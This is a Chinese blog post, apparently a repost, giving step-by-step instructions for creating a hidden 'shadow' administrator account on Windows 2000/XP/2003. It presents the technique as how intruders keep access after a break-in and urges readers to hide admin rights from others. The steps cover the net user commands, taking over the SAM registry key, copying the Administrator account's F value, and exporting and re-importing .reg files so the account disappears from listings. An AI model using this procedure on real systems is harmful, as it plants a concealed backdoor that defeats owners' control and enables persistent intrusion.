Windows 2000/XP/2003中都能找到一个系统内置的默认管理员账户——Administrator,该账户具有Windows的最高管理权限,用来完成软件安装、系统设置等任务。如果系统由于存在漏洞而被******,***为了下次还能方便地进来,通常会留一个管理员账户的影子账户
让你的账号拥有管理员权限,又不给她人发现
怎样设置影子账户
1.
在
DOS
下用
net user zzw$ 123 /add
命令,然后在
DOS
下
net user
看不到该用户
![](https://i-blog.csdnimg.cn/blog_migrate/be6bea69e662db52ede7db2f1ee397b3.jpeg)
<?xml:namespace prefix = v ns = "urn:schemas-microsoft-com:vml" /><?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" />
2.
到用户账户中可以看到账户
zzw$
![](https://i-blog.csdnimg.cn/blog_migrate/6806e47523aa306d51a35477e3728168.jpeg)
3.
打开注册表到,把
sam
的项的权限改为完全控制,刷新注册表
,到
domains\account\users\<?xml:namespace prefix = st1 ns = "urn:schemas-microsoft-com:office:smarttags" />000001F4
的
F
值复制到我的帐号对应的
3EF
的
F
值下
![](https://i-blog.csdnimg.cn/blog_migrate/48aeb9b5deb3c5ca8f986b8f360da11d.jpeg)
![](https://i-blog.csdnimg.cn/blog_migrate/4a56e19a3a5f7f1364d7126436938db9.jpeg)
4.
然后导出我的帐号
zzw$
和对应的
3EF
为
zzw.reg zzw2.reg
5.
然后在
DOS
下用
net user zzw$ /del
删除该账户的信息
6.
然后导入刚才的导出的
zzw.reg zzw2.reg
7.
这时在
DOS
和控制面板下都看不到用户信息
8.
重新启动电脑
用
zzw
密码
12
3可以进入系统且是管理员权限
转载于:https://blog.51cto.com/aizzw/101774